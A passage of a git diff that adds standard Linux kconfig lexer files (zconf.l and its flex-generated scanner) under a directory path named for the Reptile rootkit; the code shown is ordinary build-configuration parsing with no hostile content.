kconf_id_strings_t *)0)->kconf_id_strings_str54, T_HELP, TF_COMMAND}, + {-1}, +#line 30 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str56, T_PROMPT, TF_COMMAND}, + {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, + {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, +#line 27 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str72, T_DEPENDS, TF_COMMAND} + }; + + if (len <= MAX_WORD_LENGTH && len >= MIN_WORD_LENGTH) + { + register int key = kconf_id_hash (str, len); + + if (key <= MAX_HASH_VALUE && key >= 0) + { + register int o = wordlist[key].name; + if (o >= 0) + { + register const char *s = o + kconf_id_strings; + + if (*str == *s && !strncmp (str + 1, s + 1, len - 1) && s[len] == '\0') + return &wordlist[key]; + } + } + } + return 0; +} +#line 47 "scripts/kconfig/zconf.gperf" + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.l b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.l new file mode 100644 index 0000000..1a9f53e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.l @@ -0,0 +1,363 @@ +%option nostdinit noyywrap never-interactive full ecs +%option 8bit nodefault perf-report perf-report +%option noinput +%x COMMAND HELP STRING PARAM +%{ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define START_STRSIZE 16 + +static struct { + struct file *file; + int lineno; +} current_pos; + +static char *text; +static int text_size, text_asize; + +struct buffer { + struct buffer *parent; + YY_BUFFER_STATE state; +}; + +struct buffer *current_buf; + +static int last_ts, first_ts; + +static void zconf_endhelp(void); +static void zconf_endfile(void); + +static void new_string(void) +{ + text = xmalloc(START_STRSIZE); + text_asize = START_STRSIZE; + text_size = 0; + *text = 0; +} + +static void append_string(const char *str, int size) +{ + int new_size = text_size + size + 1; + if (new_size > text_asize) { + new_size += START_STRSIZE - 1; + new_size &= -START_STRSIZE; + text = realloc(text, new_size); + text_asize = new_size; + } + memcpy(text + text_size, str, size); + text_size += size; + text[text_size] = 0; +} + +static void alloc_string(const char *str, int size) +{ + text = xmalloc(size + 1); + memcpy(text, str, size); + text[size] = 0; +} +%} + +n [A-Za-z0-9_] + +%% + int str = 0; + int ts, i; + +[ \t]*#.*\n | +[ \t]*\n { + current_file->lineno++; + return T_EOL; +} +[ \t]*#.* + + +[ \t]+ { + BEGIN(COMMAND); +} + +. { + unput(yytext[0]); + BEGIN(COMMAND); +} + + +{ + {n}+ { + const struct kconf_id *id = kconf_id_lookup(yytext, yyleng); + BEGIN(PARAM); + current_pos.file = current_file; + current_pos.lineno = current_file->lineno; + if (id && id->flags & TF_COMMAND) { + zconflval.id = id; + return id->token; + } + alloc_string(yytext, yyleng); + zconflval.string = text; + return T_WORD; + } + . + \n { + BEGIN(INITIAL); + current_file->lineno++; + return T_EOL; + } +} + +{ + "&&" return T_AND; + "||" return T_OR; + "(" return T_OPEN_PAREN; + ")" return T_CLOSE_PAREN; + "!" return T_NOT; + "=" return T_EQUAL; + "!=" return T_UNEQUAL; + \"|\' { + str = yytext[0]; + new_string(); + BEGIN(STRING); + } + \n BEGIN(INITIAL); current_file->lineno++; return T_EOL; + --- /* ignore */ + ({n}|[-/.])+ { + const struct kconf_id *id = kconf_id_lookup(yytext, yyleng); + if (id && id->flags & TF_PARAM) { + zconflval.id = id; + return id->token; + } + alloc_string(yytext, yyleng); + zconflval.string = text; + return T_WORD; + } + #.* /* comment */ + \\\n current_file->lineno++; + . + <> { + BEGIN(INITIAL); + } +} + +{ + [^'"\\\n]+/\n { + append_string(yytext, yyleng); + zconflval.string = text; + return T_WORD_QUOTE; + } + [^'"\\\n]+ { + append_string(yytext, yyleng); + } + \\.?/\n { + append_string(yytext + 1, yyleng - 1); + zconflval.string = text; + return T_WORD_QUOTE; + } + \\.? { + append_string(yytext + 1, yyleng - 1); + } + \'|\" { + if (str == yytext[0]) { + BEGIN(PARAM); + zconflval.string = text; + return T_WORD_QUOTE; + } else + append_string(yytext, 1); + } + \n { + printf("%s:%d:warning: multi-line strings not supported\n", zconf_curname(), zconf_lineno()); + current_file->lineno++; + BEGIN(INITIAL); + return T_EOL; + } + <> { + BEGIN(INITIAL); + } +} + +{ + [ \t]+ { + ts = 0; + for (i = 0; i < yyleng; i++) { + if (yytext[i] == '\t') + ts = (ts & ~7) + 8; + else + ts++; + } + last_ts = ts; + if (first_ts) { + if (ts < first_ts) { + zconf_endhelp(); + return T_HELPTEXT; + } + ts -= first_ts; + while (ts > 8) { + append_string(" ", 8); + ts -= 8; + } + append_string(" ", ts); + } + } + [ \t]*\n/[^ \t\n] { + current_file->lineno++; + zconf_endhelp(); + return T_HELPTEXT; + } + [ \t]*\n { + current_file->lineno++; + append_string("\n", 1); + } + [^ \t\n].* { + while (yyleng) { + if ((yytext[yyleng-1] != ' ') && (yytext[yyleng-1] != '\t')) + break; + yyleng--; + } + append_string(yytext, yyleng); + if (!first_ts) + first_ts = last_ts; + } + <> { + zconf_endhelp(); + return T_HELPTEXT; + } +} + +<> { + if (current_file) { + zconf_endfile(); + return T_EOL; + } + fclose(yyin); + yyterminate(); +} + +%% +void zconf_starthelp(void) +{ + new_string(); + last_ts = first_ts = 0; + BEGIN(HELP); +} + +static void zconf_endhelp(void) +{ + zconflval.string = text; + BEGIN(INITIAL); +} + + +/* + * Try to open specified file with following names: + * ./name + * $(srctree)/name + * The latter is used when srctree is separate from objtree + * when compiling the kernel. + * Return NULL if file is not found. + */ +FILE *zconf_fopen(const char *name) +{ + char *env, fullname[PATH_MAX+1]; + FILE *f; + + f = fopen(name, "r"); + if (!f && name != NULL && name[0] != '/') { + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + f = fopen(fullname, "r"); + } + } + return f; +} + +void zconf_initscan(const char *name) +{ + yyin = zconf_fopen(name); + if (!yyin) { + printf("can't find file %s\n", name); + exit(1); + } + + current_buf = xmalloc(sizeof(*current_buf)); + memset(current_buf, 0, sizeof(*current_buf)); + + current_file = file_lookup(name); + current_file->lineno = 1; +} + +void zconf_nextfile(const char *name) +{ + struct file *iter; + struct file *file = file_lookup(name); + struct buffer *buf = xmalloc(sizeof(*buf)); + memset(buf, 0, sizeof(*buf)); + + current_buf->state = YY_CURRENT_BUFFER; + yyin = zconf_fopen(file->name); + if (!yyin) { + printf("%s:%d: can't open file \"%s\"\n", + zconf_curname(), zconf_lineno(), file->name); + exit(1); + } + yy_switch_to_buffer(yy_create_buffer(yyin, YY_BUF_SIZE)); + buf->parent = current_buf; + current_buf = buf; + + for (iter = current_file->parent; iter; iter = iter->parent ) { + if (!strcmp(current_file->name,iter->name) ) { + printf("%s:%d: recursive inclusion detected. " + "Inclusion path:\n current file : '%s'\n", + zconf_curname(), zconf_lineno(), + zconf_curname()); + iter = current_file->parent; + while (iter && \ + strcmp(iter->name,current_file->name)) { + printf(" included from: '%s:%d'\n", + iter->name, iter->lineno-1); + iter = iter->parent; + } + if (iter) + printf(" included from: '%s:%d'\n", + iter->name, iter->lineno+1); + exit(1); + } + } + file->lineno = 1; + file->parent = current_file; + current_file = file; +} + +static void zconf_endfile(void) +{ + struct buffer *parent; + + current_file = current_file->parent; + + parent = current_buf->parent; + if (parent) { + fclose(yyin); + yy_delete_buffer(YY_CURRENT_BUFFER); + yy_switch_to_buffer(parent->state); + } + free(current_buf); + current_buf = parent; +} + +int zconf_lineno(void) +{ + return current_pos.lineno; +} + +const char *zconf_curname(void) +{ + return current_pos.file ? current_pos.file->name : ""; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.lex.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.lex.c_shipped new file mode 100644 index 0000000..a0521aa --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.lex.c_shipped @@ -0,0 +1,2420 @@ + +#line 3 "scripts/kconfig/zconf.lex.c_shipped" + +#define YY_INT_ALIGNED short int + +/* A lexical scanner generated by flex */ + +#define yy_create_buffer zconf_create_buffer +#define yy_delete_buffer zconf_delete_buffer +#define yy_flex_debug zconf_flex_debug +#define yy_init_buffer zconf_init_buffer +#define yy_flush_buffer zconf_flush_buffer +#define yy_load_buffer_state zconf_load_buffer_state +#define yy_switch_to_buffer zconf_switch_to_buffer +#define yyin zconfin +#define yyleng zconfleng +#define yylex zconflex +#define yylineno zconflineno +#define yyout zconfout +#define yyrestart zconfrestart +#define yytext zconftext +#define yywrap zconfwrap +#define yyalloc zconfalloc +#define yyrealloc zconfrealloc +#define yyfree zconffree + +#define FLEX_SCANNER +#define YY_FLEX_MAJOR_VERSION 2 +#define YY_FLEX_MINOR_VERSION 5 +#define YY_FLEX_SUBMINOR_VERSION 35 +#if YY_FLEX_SUBMINOR_VERSION > 0 +#define FLEX_BETA +#endif + +/* First, we deal with platform-specific or compiler-specific issues. */ + +/* begin standard C headers. */ +#include +#include +#include +#include + +/* end standard C headers. */ + +/* flex integer type definitions */ + +#ifndef FLEXINT_H +#define FLEXINT_H + +/* C99 systems have . Non-C99 systems may or may not. */ + +#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + +/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h, + * if you want the limit (max/min) macros for int types. + */ +#ifndef __STDC_LIMIT_MACROS +#define __STDC_LIMIT_MACROS 1 +#endif + +#include +typedef int8_t flex_int8_t; +typedef uint8_t flex_uint8_t; +typedef int16_t flex_int16_t; +typedef uint16_t flex_uint16_t; +typedef int32_t flex_int32_t; +typedef uint32_t flex_uint32_t; +#else +typedef signed char flex_int8_t; +typedef short int flex_int16_t; +typedef int flex_int32_t; +typedef unsigned char flex_uint8_t; +typedef unsigned short int flex_uint16_t; +typedef unsigned int flex_uint32_t; +#endif /* ! C99 */ + +/* Limits of integral types. */ +#ifndef INT8_MIN +#define INT8_MIN (-128) +#endif +#ifndef INT16_MIN +#define INT16_MIN (-32767-1) +#endif +#ifndef INT32_MIN +#define INT32_MIN (-2147483647-1) +#endif +#ifndef INT8_MAX +#define INT8_MAX (127) +#endif +#ifndef INT16_MAX +#define INT16_MAX (32767) +#endif +#ifndef INT32_MAX +#define INT32_MAX (2147483647) +#endif +#ifndef UINT8_MAX +#define UINT8_MAX (255U) +#endif +#ifndef UINT16_MAX +#define UINT16_MAX (65535U) +#endif +#ifndef UINT32_MAX +#define UINT32_MAX (4294967295U) +#endif + +#endif /* ! FLEXINT_H */ + +#ifdef __cplusplus + +/* The "const" storage-class-modifier is valid. */ +#define YY_USE_CONST + +#else /* ! __cplusplus */ + +/* C99 requires __STDC__ to be defined as 1. */ +#if defined (__STDC__) + +#define YY_USE_CONST + +#endif /* defined (__STDC__) */ +#endif /* ! __cplusplus */ + +#ifdef YY_USE_CONST +#define yyconst const +#else +#define yyconst +#endif + +/* Returned upon end-of-file. */ +#define YY_NULL 0 + +/* Promotes a possibly negative, possibly signed char to an unsigned + * integer for use as an array index. If the signed char is negative, + * we want to instead treat it as an 8-bit unsigned char, hence the + * double cast. + */ +#define YY_SC_TO_UI(c) ((unsigned int) (unsigned char) c) + +/* Enter a start condition. This macro really ought to take a parameter, + * but we do it the disgusting crufty way forced on us by the ()-less + * definition of BEGIN. + */ +#define BEGIN (yy_start) = 1 + 2 * + +/* Translate the current start state into a value that can be later handed + * to BEGIN to return to the state. The YYSTATE alias is for lex + * compatibility. + */ +#define YY_START (((yy_start) - 1) / 2) +#define YYSTATE YY_START + +/* Action number for EOF rule of a given start state. */ +#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1) + +/* Special action meaning "start processing a new file". */ +#define YY_NEW_FILE zconfrestart(zconfin ) + +#define YY_END_OF_BUFFER_CHAR 0 + +/* Size of default input buffer. */ +#ifndef YY_BUF_SIZE +#define YY_BUF_SIZE 16384 +#endif + +/* The state buf must be large enough to hold one state per character in the main buffer. + */ +#define YY_STATE_BUF_SIZE ((YY_BUF_SIZE + 2) * sizeof(yy_state_type)) + +#ifndef YY_TYPEDEF_YY_BUFFER_STATE +#define YY_TYPEDEF_YY_BUFFER_STATE +typedef struct yy_buffer_state *YY_BUFFER_STATE; +#endif + +extern int zconfleng; + +extern FILE *zconfin, *zconfout; + +#define EOB_ACT_CONTINUE_SCAN 0 +#define EOB_ACT_END_OF_FILE 1 +#define EOB_ACT_LAST_MATCH 2 + + #define YY_LESS_LINENO(n) + +/* Return all but the first "n" matched characters back to the input stream. */ +#define yyless(n) \ + do \ + { \ + /* Undo effects of setting up zconftext. */ \ + int yyless_macro_arg = (n); \ + YY_LESS_LINENO(yyless_macro_arg);\ + *yy_cp = (yy_hold_char); \ + YY_RESTORE_YY_MORE_OFFSET \ + (yy_c_buf_p) = yy_cp = yy_bp + yyless_macro_arg - YY_MORE_ADJ; \ + YY_DO_BEFORE_ACTION; /* set up zconftext again */ \ + } \ + while ( 0 ) + +#define unput(c) yyunput( c, (yytext_ptr) ) + +#ifndef YY_TYPEDEF_YY_SIZE_T +#define YY_TYPEDEF_YY_SIZE_T +typedef size_t yy_size_t; +#endif + +#ifndef YY_STRUCT_YY_BUFFER_STATE +#define YY_STRUCT_YY_BUFFER_STATE +struct yy_buffer_state + { + FILE *yy_input_file; + + char *yy_ch_buf; /* input buffer */ + char *yy_buf_pos; /* current position in input buffer */ + + /* Size of input buffer in bytes, not including room for EOB + * characters. + */ + yy_size_t yy_buf_size; + + /* Number of characters read into yy_ch_buf, not including EOB + * characters. + */ + int yy_n_chars; + + /* Whether we "own" the buffer - i.e., we know we created it, + * and can realloc() it to grow it, and should free() it to + * delete it. + */ + int yy_is_our_buffer; + + /* Whether this is an "interactive" input source; if so, and + * if we're using stdio for input, then we want to use getc() + * instead of fread(), to make sure we stop fetching input after + * each newline. + */ + int yy_is_interactive; + + /* Whether we're considered to be at the beginning of a line. + * If so, '^' rules will be active on the next match, otherwise + * not. + */ + int yy_at_bol; + + int yy_bs_lineno; /**< The line count. */ + int yy_bs_column; /**< The column count. */ + + /* Whether to try to fill the input buffer when we reach the + * end of it. + */ + int yy_fill_buffer; + + int yy_buffer_status; + +#define YY_BUFFER_NEW 0 +#define YY_BUFFER_NORMAL 1 + /* When an EOF's been seen but there's still some text to process + * then we mark the buffer as YY_EOF_PENDING, to indicate that we + * shouldn't try reading from the input source any more. We might + * still have a bunch of tokens to match, though, because of + * possible backing-up. + * + * When we actually see the EOF, we change the status to "new" + * (via zconfrestart()), so that the user can continue scanning by + * just pointing zconfin at a new input file. + */ +#define YY_BUFFER_EOF_PENDING 2 + + }; +#endif /* !YY_STRUCT_YY_BUFFER_STATE */ + +/* Stack of input buffers. */ +static size_t yy_buffer_stack_top = 0; /**< index of top of stack. */ +static size_t yy_buffer_stack_max = 0; /**< capacity of stack. */ +static YY_BUFFER_STATE * yy_buffer_stack = 0; /**< Stack as an array. */ + +/* We provide macros for accessing buffer states in case in the + * future we want to put the buffer states in a more general + * "scanner state". + * + * Returns the top of the stack, or NULL. + */ +#define YY_CURRENT_BUFFER ( (yy_buffer_stack) \ + ? (yy_buffer_stack)[(yy_buffer_stack_top)] \ + : NULL) + +/* Same as previous macro, but useful when we know that the buffer stack is not + * NULL or when we need an lvalue. For internal use only. + */ +#define YY_CURRENT_BUFFER_LVALUE (yy_buffer_stack)[(yy_buffer_stack_top)] + +/* yy_hold_char holds the character lost when zconftext is formed. */ +static char yy_hold_char; +static int yy_n_chars; /* number of characters read into yy_ch_buf */ +int zconfleng; + +/* Points to current character in buffer. */ +static char *yy_c_buf_p = (char *) 0; +static int yy_init = 0; /* whether we need to initialize */ +static int yy_start = 0; /* start state number */ + +/* Flag which is used to allow zconfwrap()'s to do buffer switches + * instead of setting up a fresh zconfin. A bit of a hack ... + */ +static int yy_did_buffer_switch_on_eof; + +void zconfrestart (FILE *input_file ); +void zconf_switch_to_buffer (YY_BUFFER_STATE new_buffer ); +YY_BUFFER_STATE zconf_create_buffer (FILE *file,int size ); +void zconf_delete_buffer (YY_BUFFER_STATE b ); +void zconf_flush_buffer (YY_BUFFER_STATE b ); +void zconfpush_buffer_state (YY_BUFFER_STATE new_buffer ); +void zconfpop_buffer_state (void ); + +static void zconfensure_buffer_stack (void ); +static void zconf_load_buffer_state (void ); +static void zconf_init_buffer (YY_BUFFER_STATE b,FILE *file ); + +#define YY_FLUSH_BUFFER zconf_flush_buffer(YY_CURRENT_BUFFER ) + +YY_BUFFER_STATE zconf_scan_buffer (char *base,yy_size_t size ); +YY_BUFFER_STATE zconf_scan_string (yyconst char *yy_str ); +YY_BUFFER_STATE zconf_scan_bytes (yyconst char *bytes,int len ); + +void *zconfalloc (yy_size_t ); +void *zconfrealloc (void *,yy_size_t ); +void zconffree (void * ); + +#define yy_new_buffer zconf_create_buffer + +#define yy_set_interactive(is_interactive) \ + { \ + if ( ! YY_CURRENT_BUFFER ){ \ + zconfensure_buffer_stack (); \ + YY_CURRENT_BUFFER_LVALUE = \ + zconf_create_buffer(zconfin,YY_BUF_SIZE ); \ + } \ + YY_CURRENT_BUFFER_LVALUE->yy_is_interactive = is_interactive; \ + } + +#define yy_set_bol(at_bol) \ + { \ + if ( ! YY_CURRENT_BUFFER ){\ + zconfensure_buffer_stack (); \ + YY_CURRENT_BUFFER_LVALUE = \ + zconf_create_buffer(zconfin,YY_BUF_SIZE ); \ + } \ + YY_CURRENT_BUFFER_LVALUE->yy_at_bol = at_bol; \ + } + +#define YY_AT_BOL() (YY_CURRENT_BUFFER_LVALUE->yy_at_bol) + +/* Begin user sect3 */ + +#define zconfwrap(n) 1 +#define YY_SKIP_YYWRAP + +typedef unsigned char YY_CHAR; + +FILE *zconfin = (FILE *) 0, *zconfout = (FILE *) 0; + +typedef int yy_state_type; + +extern int zconflineno; + +int zconflineno = 1; + +extern char *zconftext; +#define yytext_ptr zconftext +static yyconst flex_int16_t yy_nxt[][17] = + { + { + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0 + }, + + { + 11, 12, 13, 14, 12, 12, 15, 12, 12, 12, + 12, 12, 12, 12, 12, 12, 12 + }, + + { + 11, 12, 13, 14, 12, 12, 15, 12, 12, 12, + 12, 12, 12, 12, 12, 12, 12 + }, + + { + 11, 16, 16, 17, 16, 16, 16, 16, 16, 16, + 16, 16, 16, 18, 16, 16, 16 + }, + + { + 11, 16, 16, 17, 16, 16, 16, 16, 16, 16, + 16, 16, 16, 18, 16, 16, 16 + + }, + + { + 11, 19, 20, 21, 19, 19, 19, 19, 19, 19, + 19, 19, 19, 19, 19, 19, 19 + }, + + { + 11, 19, 20, 21, 19, 19, 19, 19, 19, 19, + 19, 19, 19, 19, 19, 19, 19 + }, + + { + 11, 22, 22, 23, 22, 24, 22, 22, 24, 22, + 22, 22, 22, 22, 22, 25, 22 + }, + + { + 11, 22, 22, 23, 22, 24, 22, 22, 24, 22, + 22, 22, 22, 22, 22, 25, 22 + }, + + { + 11, 26, 26, 27, 28, 29, 30, 31, 29, 32, + 33, 34, 35, 35, 36, 37, 38 + + }, + + { + 11, 26, 26, 27, 28, 29, 30, 31, 29, 32, + 33, 34, 35, 35, 36, 37, 38 + }, + + { + -11, -11, -11, -11, -11, -11, -11, -11, -11, -11, + -11, -11, -11, -11, -11, -11, -11 + }, + + { + 11, -12, -12, -12, -12, -12, -12, -12, -12, -12, + -12, -12, -12, -12, -12, -12, -12 + }, + + { + 11, -13, 39, 40, -13, -13, 41, -13, -13, -13, + -13, -13, -13, -13, -13, -13, -13 + }, + + { + 11, -14, -14, -14, -14, -14, -14, -14, -14, -14, + -14, -14, -14, -14, -14, -14, -14 + + }, + + { + 11, 42, 42, 43, 42, 42, 42, 42, 42, 42, + 42, 42, 42, 42, 42, 42, 42 + }, + + { + 11, -16, -16, -16, -16, -16, -16, -16, -16, -16, + -16, -16, -16, -16, -16, -16, -16 + }, + + { + 11, -17, -17, -17, -17, -17, -17, -17, -17, -17, + -17, -17, -17, -17, -17, -17, -17 + }, + + { + 11, -18, -18, -18, -18, -18, -18, -18, -18, -18, + -18, -18, -18, 44, -18, -18, -18 + }, + + { + 11, 45, 45, -19, 45, 45, 45, 45, 45, 45, + 45, 45, 45, 45, 45, 45, 45 + + }, + + { + 11, -20, 46, 47, -20, -20, -20, -20, -20, -20, + -20, -20, -20, -20, -20, -20, -20 + }, + + { + 11, 48, -21, -21, 48, 48, 48, 48, 48, 48, + 48, 48, 48, 48, 48, 48, 48 + }, + + { + 11, 49, 49, 50, 49, -22, 49, 49, -22, 49, + 49, 49, 49, 49, 49, -22, 49 + }, + + { + 11, -23, -23, -23, -23, -23, -23, -23, -23, -23, + -23, -23, -23, -23, -23, -23, -23 + }, + + { + 11, -24, -24, -24, -24, -24, -24, -24, -24, -24, + -24, -24, -24, -24, -24, -24, -24 + + }, + + { + 11, 51, 51, 52, 51, 51, 51, 51, 51, 51, + 51, 51, 51, 51, 51, 51, 51 + }, + + { + 11, -26, -26, -26, -26, -26, -26, -26, -26, -26, + -26, -26, -26, -26, -26, -26, -26 + }, + + { + 11, -27, -27, -27, -27, -27, -27, -27, -27, -27, + -27, -27, -27, -27, -27, -27, -27 + }, + + { + 11, -28, -28, -28, -28, -28, -28, -28, -28, -28, + -28, -28, -28, -28, 53, -28, -28 + }, + + { + 11, -29, -29, -29, -29, -29, -29, -29, -29, -29, + -29, -29, -29, -29, -29, -29, -29 + + }, + + { + 11, 54, 54, -30, 54, 54, 54, 54, 54, 54, + 54, 54, 54, 54, 54, 54, 54 + }, + + { + 11, -31, -31, -31, -31, -31, -31, 55, -31, -31, + -31, -31, -31, -31, -31, -31, -31 + }, + + { + 11, -32, -32, -32, -32, -32, -32, -32, -32, -32, + -32, -32, -32, -32, -32, -32, -32 + }, + + { + 11, -33, -33, -33, -33, -33, -33, -33, -33, -33, + -33, -33, -33, -33, -33, -33, -33 + }, + + { + 11, -34, -34, -34, -34, -34, -34, -34, -34, -34, + -34, 56, 57, 57, -34, -34, -34 + + }, + + { + 11, -35, -35, -35, -35, -35, -35, -35, -35, -35, + -35, 57, 57, 57, -35, -35, -35 + }, + + { + 11, -36, -36, -36, -36, -36, -36, -36, -36, -36, + -36, -36, -36, -36, -36, -36, -36 + }, + + { + 11, -37, -37, 58, -37, -37, -37, -37, -37, -37, + -37, -37, -37, -37, -37, -37, -37 + }, + + { + 11, -38, -38, -38, -38, -38, -38, -38, -38, -38, + -38, -38, -38, -38, -38, -38, 59 + }, + + { + 11, -39, 39, 40, -39, -39, 41, -39, -39, -39, + -39, -39, -39, -39, -39, -39, -39 + + }, + + { + 11, -40, -40, -40, -40, -40, -40, -40, -40, -40, + -40, -40, -40, -40, -40, -40, -40 + }, + + { + 11, 42, 42, 43, 42, 42, 42, 42, 42, 42, + 42, 42, 42, 42, 42, 42, 42 + }, + + { + 11, 42, 42, 43, 42, 42, 42, 42, 42, 42, + 42, 42, 42, 42, 42, 42, 42 + }, + + { + 11, -43, -43, -43, -43, -43, -43, -43, -43, -43, + -43, -43, -43, -43, -43, -43, -43 + }, + + { + 11, -44, -44, -44, -44, -44, -44, -44, -44, -44, + -44, -44, -44, 44, -44, -44, -44 + + }, + + { + 11, 45, 45, -45, 45, 45, 45, 45, 45, 45, + 45, 45, 45, 45, 45, 45, 45 + }, + + { + 11, -46, 46, 47, -46, -46, -46, -46, -46, -46, + -46, -46, -46, -46, -46, -46, -46 + }, + + { + 11, 48, -47, -47, 48, 48, 48, 48, 48, 48, + 48, 48, 48, 48, 48, 48, 48 + }, + + { + 11, -48, -48, -48, -48, -48, -48, -48, -48, -48, + -48, -48, -48, -48, -48, -48, -48 + }, + + { + 11, 49, 49, 50, 49, -49, 49, 49, -49, 49, + 49, 49, 49, 49, 49, -49, 49 + + }, + + { + 11, -50, -50, -50, -50, -50, -50, -50, -50, -50, + -50, -50, -50, -50, -50, -50, -50 + }, + + { + 11, -51, -51, 52, -51, -51, -51, -51, -51, -51, + -51, -51, -51, -51, -51, -51, -51 + }, + + { + 11, -52, -52, -52, -52, -52, -52, -52, -52, -52, + -52, -52, -52, -52, -52, -52, -52 + }, + + { + 11, -53, -53, -53, -53, -53, -53, -53, -53, -53, + -53, -53, -53, -53, -53, -53, -53 + }, + + { + 11, 54, 54, -54, 54, 54, 54, 54, 54, 54, + 54, 54, 54, 54, 54, 54, 54 + + }, + + { + 11, -55, -55, -55, -55, -55, -55, -55, -55, -55, + -55, -55, -55, -55, -55, -55, -55 + }, + + { + 11, -56, -56, -56, -56, -56, -56, -56, -56, -56, + -56, 60, 57, 57, -56, -56, -56 + }, + + { + 11, -57, -57, -57, -57, -57, -57, -57, -57, -57, + -57, 57, 57, 57, -57, -57, -57 + }, + + { + 11, -58, -58, -58, -58, -58, -58, -58, -58, -58, + -58, -58, -58, -58, -58, -58, -58 + }, + + { + 11, -59, -59, -59, -59, -59, -59, -59, -59, -59, + -59, -59, -59, -59, -59, -59, -59 + + }, + + { + 11, -60, -60, -60, -60, -60, -60, -60, -60, -60, + -60, 57, 57, 57, -60, -60, -60 + }, + + } ; + +static yy_state_type yy_get_previous_state (void ); +static yy_state_type yy_try_NUL_trans (yy_state_type current_state ); +static int yy_get_next_buffer (void ); +static void yy_fatal_error (yyconst char msg[] ); + +/* Done after the current pattern has been matched and before the + * corresponding action - sets up zconftext. + */ +#define YY_DO_BEFORE_ACTION \ + (yytext_ptr) = yy_bp; \ + zconfleng = (size_t) (yy_cp - yy_bp); \ + (yy_hold_char) = *yy_cp; \ + *yy_cp = '\0'; \ + (yy_c_buf_p) = yy_cp; + +#define YY_NUM_RULES 33 +#define YY_END_OF_BUFFER 34 +/* This struct is not used in this scanner, + but its presence is necessary. */ +struct yy_trans_info + { + flex_int32_t yy_verify; + flex_int32_t yy_nxt; + }; +static yyconst flex_int16_t yy_accept[61] = + { 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 34, 5, 4, 2, 3, 7, 8, 6, 32, 29, + 31, 24, 28, 27, 26, 22, 17, 13, 16, 20, + 22, 11, 12, 19, 19, 14, 22, 22, 4, 2, + 3, 3, 1, 6, 32, 29, 31, 30, 24, 23, + 26, 25, 15, 20, 9, 19, 19, 21, 10, 18 + } ; + +static yyconst flex_int32_t yy_ec[256] = + { 0, + 1, 1, 1, 1, 1, 1, 1, 1, 2, 3, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 2, 4, 5, 6, 1, 1, 7, 8, 9, + 10, 1, 1, 1, 11, 12, 12, 13, 13, 13, + 13, 13, 13, 13, 13, 13, 13, 1, 1, 1, + 14, 1, 1, 1, 13, 13, 13, 13, 13, 13, + 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, + 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, + 1, 15, 1, 1, 13, 1, 13, 13, 13, 13, + + 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, + 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, + 13, 13, 1, 16, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1 + } ; + +extern int zconf_flex_debug; +int zconf_flex_debug = 0; + +/* The intent behind this definition is that it'll catch + * any uses of REJECT which flex missed. + */ +#define REJECT reject_used_but_not_detected +#define yymore() yymore_used_but_not_detected +#define YY_MORE_ADJ 0 +#define YY_RESTORE_YY_MORE_OFFSET +char *zconftext; +#define YY_NO_INPUT 1 + +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define START_STRSIZE 16 + +static struct { + struct file *file; + int lineno; +} current_pos; + +static char *text; +static int text_size, text_asize; + +struct buffer { + struct buffer *parent; + YY_BUFFER_STATE state; +}; + +struct buffer *current_buf; + +static int last_ts, first_ts; + +static void zconf_endhelp(void); +static void zconf_endfile(void); + +static void new_string(void) +{ + text = xmalloc(START_STRSIZE); + text_asize = START_STRSIZE; + text_size = 0; + *text = 0; +} + +static void append_string(const char *str, int size) +{ + int new_size = text_size + size + 1; + if (new_size > text_asize) { + new_size += START_STRSIZE - 1; + new_size &= -START_STRSIZE; + text = realloc(text, new_size); + text_asize = new_size; + } + memcpy(text + text_size, str, size); + text_size += size; + text[text_size] = 0; +} + +static void alloc_string(const char *str, int size) +{ + text = xmalloc(size + 1); + memcpy(text, str, size); + text[size] = 0; +} + +#define INITIAL 0 +#define COMMAND 1 +#define HELP 2 +#define STRING 3 +#define PARAM 4 + +#ifndef YY_NO_UNISTD_H +/* Special case for "unistd.h", since it is non-ANSI. We include it way + * down here because we want the user's section 1 to have been scanned first. + * The user has a chance to override it with an option. + */ +#include +#endif + +#ifndef YY_EXTRA_TYPE +#define YY_EXTRA_TYPE void * +#endif + +static int yy_init_globals (void ); + +/* Accessor methods to globals. + These are made 